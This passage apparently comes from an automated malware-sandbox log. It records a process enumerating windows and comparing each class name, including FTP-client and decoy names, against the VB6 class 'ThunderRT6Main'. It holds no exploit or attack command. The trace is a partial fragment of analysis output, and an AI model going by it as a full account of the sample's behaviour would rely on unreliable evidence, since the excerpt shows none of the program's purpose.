lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0140.685] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0140.685] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.685] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.685] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0140.685] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0140.685] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="filezillaapp") returned 12 [0140.685] lstrcmpA (lpString1="filezillaapp", lpString2="ThunderRT6Main") returned -1 [0140.685] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0140.685] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0140.685] GetClassNameA (in: hWnd=0x101ca, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.685] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.685] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0140.685] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0140.685] GetClassNameA (in: hWnd=0x101c4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="far_window") returned 10 [0140.685] lstrcmpA (lpString1="far_window", lpString2="ThunderRT6Main") returned -1 [0140.685] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0140.685] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0140.685] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.685] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.685] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0140.685] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0140.685] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="coreftp_window") returned 14 [0140.685] lstrcmpA (lpString1="coreftp_window", lpString2="ThunderRT6Main") returned -1 [0140.685] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0140.685] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0140.685] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.685] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.686] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0140.686] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0140.686] GetClassNameA (in: hWnd=0x101bc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bitkinex_window") returned 15 [0140.686] lstrcmpA (lpString1="bitkinex_window", lpString2="ThunderRT6Main") returned -1 [0140.686] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0140.686] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0140.686] GetClassNameA (in: hWnd=0x101be, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.686] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.686] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0140.686] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0140.686] GetClassNameA (in: hWnd=0x101b8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="barcaclass") returned 10 [0140.686] lstrcmpA (lpString1="barcaclass", lpString2="ThunderRT6Main") returned -1 [0140.686] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0140.686] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0140.686] GetClassNameA (in: hWnd=0x101ba, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.686] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.686] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0140.686] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0140.686] GetClassNameA (in: hWnd=0x101b4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="alftpwnd") returned 8 [0140.686] lstrcmpA (lpString1="alftpwnd", lpString2="ThunderRT6Main") returned -1 [0140.686] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0140.686] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0140.686] GetClassNameA (in: hWnd=0x101b6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.686] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.686] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0140.687] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0140.687] GetClassNameA (in: hWnd=0x101b0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="absolutetelnet_window") returned 21 [0140.687] lstrcmpA (lpString1="absolutetelnet_window", lpString2="ThunderRT6Main") returned -1 [0140.687] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0140.687] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0140.687] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.687] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.687] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0140.687] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0140.687] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="3dftp_win") returned 9 [0140.687] lstrcmpA (lpString1="3dftp_win", lpString2="ThunderRT6Main") returned -1 [0140.687] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0140.687] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0140.687] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.687] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.687] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0140.687] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0140.687] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="purchaseclass") returned 13 [0140.687] lstrcmpA (lpString1="purchaseclass", lpString2="ThunderRT6Main") returned -1 [0140.687] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0140.687] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0140.687] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.687] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.687] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0140.687] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0140.688] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bent_Individually_class") returned 23 [0140.688] lstrcmpA (lpString1="bent_Individually_class", lpString2="ThunderRT6Main") returned -1 [0140.688] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0140.688] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0140.688] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.688] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.688] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0140.688] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0140.688] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="cruises_Thickness_cls") returned 21 [0140.688] lstrcmpA (lpString1="cruises_Thickness_cls", lpString2="ThunderRT6Main") returned -1 [0140.688] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0140.688] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0140.688] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.688] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.688] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0140.688] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0140.688] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Bloomansweringwnd") returned 17 [0140.688] lstrcmpA (lpString1="Bloomansweringwnd", lpString2="ThunderRT6Main") returned -1 [0140.688] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0140.688] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0140.688] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.688] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.688] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0140.688] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0140.688] GetClassNameA (in: hWnd=0x10198, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Ownerbmwin") returned 10 [0140.688] lstrcmpA (lpString1="Ownerbmwin", lpString2="ThunderRT6Main") returned -1 [0140.688] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0140.689] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0140.689] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.689] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.689] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0140.689] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0140.689] GetClassNameA (in: hWnd=0x10194, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="hawk_Tasks_app") returned 14 [0140.689] lstrcmpA (lpString1="hawk_Tasks_app", lpString2="ThunderRT6Main") returned -1 [0140.689] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0140.689] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0140.689] GetClassNameA (in: hWnd=0x10196, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.689] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.689] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0140.689] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0140.689] GetClassNameA (in: hWnd=0x10190, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Bernard_award_window") returned 20 [0140.689] lstrcmpA (lpString1="Bernard_award_window", lpString2="ThunderRT6Main") returned -1 [0140.689] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0140.689] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0140.689] GetClassNameA (in: hWnd=0x10192, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.689] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.689] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0140.689] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0140.689] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bluescls") returned 8 [0140.689] lstrcmpA (lpString1="bluescls", lpString2="ThunderRT6Main") returned -1 [0140.689] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0140.689] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0140.689] GetClassNameA (in: hWnd=0x2018e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.690] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.690] GetWindowThreadProcessId (in: hWnd=0x2018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0140.690] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0140.690] GetClassNameA (in: hWnd=0x10186, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="promotingweightedcls") returned 20 [0140.690] lstrcmpA (lpString1="promotingweightedcls", lpString2="ThunderRT6Main") returned -1 [0140.690] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0140.690] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0140.690] GetClassNameA (in: hWnd=0x10188, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.690] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.690] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0140.690] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0140.690] GetClassNameA (in: hWnd=0x10180, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WordsRetainedremovalapp") returned 23 [0140.690] lstrcmpA (lpString1="WordsRetainedremovalapp", lpString2="ThunderRT6Main") returned 1 [0140.690] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0140.690] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0140.690] GetClassNameA (in: hWnd=0x10184, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.690] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.690] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0140.690] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0140.690] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="famemoderatorwindow") returned 19 [0140.690] lstrcmpA (lpString1="famemoderatorwindow", lpString2="ThunderRT6Main") returned -1 [0140.690] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0140.690] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0140.690] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.690] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.690] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0140.691] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0140.691] GetClassNameA (in: hWnd=0x10178, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Gpluckywindow") returned 13 [0140.691] lstrcmpA (lpString1="Gpluckywindow", lpString2="ThunderRT6Main") returned -1 [0140.691] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0140.691] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0140.691] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.691] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.691] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0140.691] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0140.691] GetClassNameA (in: hWnd=0x10174, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="mediterraneanTallwin") returned 20 [0140.691] lstrcmpA (lpString1="mediterraneanTallwin", lpString2="ThunderRT6Main") returned -1 [0140.691] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0140.691] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0140.691] GetClassNameA (in: hWnd=0x10176, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.691] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.691] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0140.691] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0140.691] GetClassNameA (in: hWnd=0x20170, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Essays_Attorneys_wnd") returned 20 [0140.691] lstrcmpA (lpString1="Essays_Attorneys_wnd", lpString2="ThunderRT6Main") returned -1 [0140.691] GetWindowThreadProcessId (in: hWnd=0x20170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0140.691] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0140.691] GetClassNameA (in: hWnd=0x10172, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.691] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.691] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0140.691] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0140.691] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Adequate_Downloading_window") returned 27 [0140.691] lstrcmpA (lpString1="Adequate_Downloading_window", lpString2="ThunderRT6Main") returned -1 [0140.691] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0140.691] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0140.691] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.691] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.691] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0140.691] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0140.692] GetClassNameA (in: hWnd=0x10168, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Cruises_Construct_win") returned 21 [0140.692] lstrcmpA (lpString1="Cruises_Construct_win", lpString2="ThunderRT6Main") returned -1 [0140.692] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0140.692] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0140.692] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.692] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.692] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0140.692] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0140.692] GetClassNameA (in: hWnd=0x10164, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Causing_Fighting_platinum_") returned 26 [0140.692] lstrcmpA (lpString1="Causing_Fighting_platinum_", lpString2="ThunderRT6Main") returned -1 [0140.692] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0140.692] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0140.692] GetClassNameA (in: hWnd=0x10166, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.692] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.692] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0140.692] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0140.692] GetClassNameA (in: hWnd=0x10160, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ConflictBindingunit") returned 19 [0140.692] lstrcmpA (lpString1="ConflictBindingunit", lpString2="ThunderRT6Main") returned -1 [0140.692] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0140.692] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0140.692] GetClassNameA (in: hWnd=0x10162, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.692] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.692] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0140.692] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0140.692] GetClassNameA (in: hWnd=0x300fa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Packrxapp") returned 9 [0140.692] lstrcmpA (lpString1="Packrxapp", lpString2="ThunderRT6Main") returned -1 [0140.692] GetWindowThreadProcessId (in: hWnd=0x300fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0140.693] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0140.693] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.693] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.693] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0140.693] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0140.693] GetClassNameA (in: hWnd=0x50102, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Cells_Surfaces_window") returned 21 [0140.693] lstrcmpA (lpString1="Cells_Surfaces_window", lpString2="ThunderRT6Main") returned -1 [0140.693] GetWindowThreadProcessId (in: hWnd=0x50102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0140.693] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0140.693] GetClassNameA (in: hWnd=0x30108, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.693] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.693] GetWindowThreadProcessId (in: hWnd=0x30108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0140.693] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0140.693] GetClassNameA (in: hWnd=0x3015a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0140.693] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0140.693] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0140.693] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0140.693] GetClassNameA (in: hWnd=0x10146, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0140.693] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0140.693] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0140.693] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0140.693] GetClassNameA (in: hWnd=0x10144, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0140.693] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0140.693] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0140.693] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0140.693] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0140.694] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0140.694] GetWindowThreadProcessId (in: hWnd=0x2013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0140.694] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0140.694] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0140.694] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0140.694] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0140.694] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0140.694] GetClassNameA (in: hWnd=0x10130, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.694] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.694] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0140.694] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0140.694] GetClassNameA (in: hWnd=0x10124, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBEA41F0") returned 20 [0140.694] lstrcmpA (lpString1="ATL:000007FEFBEA41F0", lpString2="ThunderRT6Main") returned -1 [0140.694] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0140.694] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0140.694] GetClassNameA (in: hWnd=0x10126, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.694] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.694] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0140.694] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0140.694] GetClassNameA (in: hWnd=0x10118, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0140.694] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0140.694] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0140.694] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0140.694] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.694] lstrcmpA (lpString1="IME", 